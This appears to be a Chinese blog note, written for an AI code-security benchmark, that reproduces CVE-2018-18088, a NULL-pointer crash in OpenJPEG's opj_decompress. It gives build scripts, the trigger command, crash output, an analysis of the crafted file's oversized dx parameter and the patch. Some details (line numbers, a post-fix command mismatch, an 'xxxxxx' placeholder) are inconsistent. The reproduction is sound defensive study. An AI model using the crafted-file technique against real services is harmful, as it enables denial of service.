Featured image of post openjpeg_08:CVE-2018-18088

openjpeg_08:CVE-2018-18088

CVE-2018-18088

本文将介绍CVE-2018-18088这一漏洞的背景、原理和复现方式,仅为个人学习笔记,供大家学习参考。

申明:本工作是A.S.E (AI Code Generation Security Evaluation)开源项目的一部分,很荣幸能作为contributor参与这一开源项目,为大模型的安全评估做出贡献;

笔记汇总在CVE_Binary_Reproduction


漏洞卡片

字段 内容
CVE-ID CVE-2018-18088
CWE-ID CWE-476: NULL Pointer Dereference
NVD公开日期 2018-10-09
评分 6.5 MEDIUM (CVSS v3)
影响组件 OpenJPEG (openjp2) ≤ 2.3.0
受影响模块 openjp2(JPEG2000 编码器)
漏洞类型 NULL Pointer Dereference
利用后果 远程代码执行 / DoS
补丁 Commit cab352e249ed3372dd9355c85e837613fff98fa2 (openjpeg)
官方 master 合并后 commit 相同

背景介绍

  • OpenJPEG(openjp2)是 JPEG 2000(ISO/IEC 15444)的一种开源实现,包含编解码器与命令行工具(opj_compress、opj_decompress 等),广泛用于图像查看器、PDF 渲染器与医疗影像等领域。
  • 其工具链被大量自动化脚本和在线转换服务直接调用,一旦触发崩溃即可形成远程拒绝服务攻击面。

漏洞原理分析

  • 触发点(观察到的行为)

    opj_decompress 在把 JP2 图像转存为 PPM 时调用 imagetopnm()。 当某一分量(component)的 data[] 指针为 NULL 时,2243 行

    1
    
    v = *red + adjustR;
    

    直接解引用,导致段错误。

  • 根本原因(两类问题共同导致)

    a) 文件格式层面:攻击者利用 JP2 的采样周期参数 dx/dy 过大(例如 254),使得该分量计算出的实际宽高为 0,OpenJPEG 在解码后会把 image->comps[compno].data 置为 NULL。 b) 代码层面:imagetopnm() 未检查 data 指针即解引用,属于典型的 CWE-476。

  • 如何被利用(攻击面)

    攻击者只需诱导用户执行

    1
    
    opj_decompress -i malicious.jp2 -o out.ppm
    

    即可触发空指针崩溃,造成远程拒绝服务;由于崩溃发生在栈保护/ASLR 之前,无法直接利用做代码执行,但可持续打瘫服务进程。


漏洞复现

环境准备

本次复现是在docker容器环境下进行的,保证了环境的精确、纯粹,我们可以随意指定依赖版本,而不会被主机的环境干扰。

首先,拉取openjpeg官方github仓库。

1
git clone https://github.com/uclouvain/openjpeg.git

然后,根据编译所需相关依赖创建docker镜像,注意依赖要尽量贴合当年的环境,以下是dockerfile。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
FROM ubuntu:16.04

# 设置非交互式安装
ENV DEBIAN_FRONTEND=noninteractive

# 安装基础依赖
RUN apt-get update && apt-get install -y \
    build-essential \
    cmake \
    git \
    clang \
    gcc \
    g++ \
    libc6-dev \
    libtiff5-dev \
    libpng-dev \
    libjpeg-dev \
    zlib1g-dev \
    libssl-dev \
    pkg-config \
    wget \
    vim \
    && rm -rf /var/lib/apt/lists/*

# 安装 AddressSanitizer(ASan)支持的编译器(clang)
RUN apt-get update && apt-get install -y \
    clang-3.8 \
    && rm -rf /var/lib/apt/lists/*

# 设置默认编译器为 clang(用于 ASan)
ENV CC=clang-3.8
ENV CXX=clang++-3.8

# 设置工作目录
WORKDIR /workspace

# 保持容器运行
CMD ["tail", "-f", "/dev/null"]

根据dockerfile,我们创建镜像。

1
2
3
4
5
6
7
# 在dockerfile所在目录下执行
docker build -t openjpeg_cve-2018-18088 .
# 检查是否创建成功
docker images
# 返回的images中含openjpeg_cve-2018-18088即创建完成
REPOSITORY                       TAG       IMAGE ID       CREATED        SIZE
openjpeg_cve-2018-18088          latest    07ad62f9e5e6   4 weeks ago    800MB

至此环境准备就完成了。

编译/触发

首先,使用先前创建的镜像启动容器,建议使用docker容器挂载宿主机目录,方便进行文件的观测和修改。

1
2
3
4
5
6
7
# 挂载目录替换成自己宿主机的实际路径,保证openjpeg项目文件夹也在其下
docker run -it --rm --name openjpeg_cve-2018-18088 \
  -v /mnt/d/A.S.E/benchmark-project/openjpeg:/workspace \
  openjpeg_cve-2018-18088   /bin/bash
# -rm 选项表示容器退出后自动删除
# --name 指定容器名字
# /bin/bash 指定命令行环境

宿主机目录会被挂载到容器的/workspace目录下,注意所有改变也会同步到宿主机目录上。

进入容器后,我们先将项目切换到修复前版本。

1
2
3
cd openjpeg
# 切换到修复前一个commit
git checkout cab352e249ed3372dd9355c85e837613fff98fa2^

接着我们编译出供漏洞复现使用的组件,注意需要启用 ASan 与 debug 编译标志以获得清晰崩溃信息,以下是我撰写使用的编译脚本setup.sh。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env bash
set -e

cd /workspace/openjpeg
BUILD_DIR="build_ASan"

# 1. 完全清理
rm -rf "$BUILD_DIR"
mkdir "$BUILD_DIR"

# 2. 强制 clang + ASan 渗透到所有阶段
export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=undefined -g -O0"
export CXXFLAGS="$CFLAGS"
export LDFLAGS="-fsanitize=undefined"

# 3. 配置 + 编译
cd "$BUILD_DIR"
cmake .. \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_COMPILER="$CC" \
  -DCMAKE_CXX_COMPILER="$CXX" \
  -DCMAKE_C_FLAGS="$CFLAGS" \
  -DCMAKE_CXX_FLAGS="$CXXFLAGS" \
  -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
  -DBUILD_SHARED_LIBS=OFF \
  -DBUILD_THIRDPARTY=ON

cmake --build . -- -j$(nproc)

echo "=== Build finished ==="
echo "Executable: $(pwd)/bin/opj_decompress"

编译成功

执行完毕后,需要用到的编码器组件opj_decompress应当在以下路径。

1
2
3
# 检查opj_decompress是否存在(opj_decompress和opj_compress都会同时编译在同一个路径下)
root@1877c59a83ec:/workspace# ls /workspace/openjpeg/build_ASan/bin/opj_decompress
/workspace/openjpeg/build_ASan/bin/opj_decompress

接下来就可以结合poc触发文件,参考bug_report的中的漏洞触发方式进行漏洞复现。

在report中,触发命令格式如下:

1
2
3
4
# opj_decompress 解码器路径
# $FILE poc文件路径
# null.j2k 输出文件路径
/workspace/openjpeg/build_ASan/bin/opj_decompress -i /workspace/poc/2018-18088 -o /tmp/null.ppm

我使用的poc文件链接附上:2018-18088

调整路径并执行后成功触发漏洞,显著标志为 xxxxxx,具体结果如下:

触发漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
root@407ff470f00a:/workspace# /workspace/openjpeg/build_ASan/bin/opj_decompress -i /workspace/poc/2018-18088 -o /tmp/null.ppm

===========================================
The extension of this file is incorrect.
FOUND 8088. SHOULD BE .j2k or .jpc or .j2c
===========================================

[INFO] Start to read j2k main header (0).
[WARNING] Unknown marker
[INFO] Main header has been correctly decoded.
[INFO] No decoded area parameters, set the decoded area to the whole image
[INFO] Header of tile 1 / 560 has been read.
[INFO] Tile 1/560 has been decoded.
[INFO] Image data has been updated with tile 1.

/workspace/openjpeg/src/bin/jp2/convert.c:2266:21: runtime error: load of null pointer of type 'int'
Segmentation fault (core dumped)

当我们切换到修复后版本尝试漏洞复现:

1
2
3
4
cd openjpeg
git checkout cab352e249ed3372dd9355c85e837613fff98fa2
cd ..
./setup.sh && /workspace/openjpeg/build_ASan/bin/opj_compress -r 20,10,1 -jpip -EPH -SOP -cinema2K 24 -n 1 -i /workspace/poc/2018-18088.tif -o /tmp/null.j2k

这次就被补丁提前拦截了,检测到缓冲区空间不足,并没有再进行强行分配。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
===========================================
The extension of this file is incorrect.
FOUND 8088. SHOULD BE .j2k or .jpc or .j2c
===========================================

[INFO] Start to read j2k main header (0).
[WARNING] Unknown marker
[INFO] Main header has been correctly decoded.
[INFO] No decoded area parameters, set the decoded area to the whole image
[INFO] Header of tile 1 / 560 has been read.
[INFO] Tile 1/560 has been decoded.
[INFO] Image data has been updated with tile 1.

[INFO] Generated Outfile /tmp/null.ppm
decode time: 159 ms

PoC分析

结合前文的原理分析,我们知道:要想触发该漏洞必须满足条件:

要想利用该 NULL Pointer Dereference,必须满足三条前提:

  1. 让 JP2 解码器为某个颜色分量分配 0 个样本
  2. 解码器因此把 image->comps[compno].data 置成 NULL
  3. 后续 imagetopnm() 在生成 PPM 时未做空判断就直接解引用。

PoC 的结构正是围绕「第 1 步」做的手脚:

  • 它在 SIZ 段里把 comp#0 的水平采样周期 dx 设成 254,而图像网格宽度只有 117;
  • 解码器计算分量宽度时执行整数除法: w = (Xsiz − XOsiz) / dx = 117 / 254 = 0 于是一块像素也不需要,调用 calloc(0, sizeof(OPJ_INT32)) 得到 NULL;
  • 其他分量保持正常,因此解码流程不会报错,继续走到 imagetopnm()
  • 循环到 comp#0 时,red = image->comps[0].data 为 NULL,2243 行立即 *red + adjustR,段错误触发。

总结:PoC 只用“把 dx 设得比图像还宽”这一合规但极端的参数,就合法地逼出 data=NULL,再利用下游代码缺少的非空检查,完成崩溃。


补丁分析

修复commit详见:jp2: convert: fix null pointer dereference · hlef/openjpeg@cab352e

  1. 主要改动

    官方修复(commit cab352e)只在 imagetopnm 里增加一处非空判断:

    1
    2
    3
    4
    5
    
    red = image->comps[compno].data;
    if (!red) {                 // ← 新增
        fclose(fdest);
        continue;               // 跳过该分量,不生成对应 PPM
    }
    
  2. 为什么能修复问题

    当检测到 data == NULL 时直接跳过,不再解引用,崩溃消失;同时向用户输出 [ERROR] imagetopnm data[..] == NULL 提示。

  3. 补丁的局限与建议

    • 仅修复了 imagetopnm 一处,其他工具(jp3d、jpwl)及库内部若再次访问 comps[].data 仍可能崩溃;
    • 更根本的加固应在解码阶段就拒绝 dx/dy 导致尺寸为 0 的分量,或统一保证 data 非 NULL;
    • 建议下游厂商升级至 ≥ openjpeg-2.3.1,并在自己代码里对所有 comps[].data 使用前先做空判断。

复现镜像

以上复现过程已打包为docker镜像,可通过以下命令拉取:

1
docker pull choser/openjpeg_cve-2018-18088:latest

内含:

  • openjpeg(项目文件夹)
  • setup.sh
  • image_status_check.sh
  • test_case.sh
  • poc.sh
  • poc文件

首先进入项目文件夹,按需切换到修复前/后版本:

1
2
3
4
5
cd openjpeg
# 切换到修复前一个commit
git checkout cab352e249ed3372dd9355c85e837613fff98fa2^
# 切换到修复commit
git checkout cab352e249ed3372dd9355c85e837613fff98fa2

然后按顺序执行四个脚本,即可复现和验证漏洞,预期结果为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 在修复前/后两个版本
./setup.sh && ./image_status_check.sh && ./test_case.sh
# 都应成功编译,并且可执行文件通过基本功能验证
=== Build finished ===
Executable: /workspace/openjpeg/build_ASan/bin/opj_compress
[A.S.E] image startup successfully
[A.S.E] test case passed
# 在修复前/后版本
./poc.sh
# 修复前版本
[A.S.E] vulnerability found
# 修复后版本
[A.S.E] vulnerability not found

总结和启示

CVE-2018-18088 的本质是“零宽图片”诱出 NULL 指针:JP2 允许把采样周期设得比图像还大,解码器于是给该分量分配 0 字节,data 被置空;随后 imagetopnm 未判空直接解引用,一击 SEGV。攻击者只需一枚恶意文件即可远程打瘫 opj_decompress,且文件完全合规,暴露的是代码对“合法极端值”的盲点。

教训很直接:对外部尺寸参数要先算后判,拒绝宽高为零的分量,并在所有访问 comps[].data 的地方统一加空指针保护;同时把“零尺寸图像”写进 CI 负向用例,别让 calloc(0) 的返回值成为隐藏的崩溃开关。


参考链接

Licensed under CC BY-NC-SA 4.0
© 2023-2025 Ch0ser. All Rights Reserved.
使用 Hugo 构建
主题 StackJimmy 设计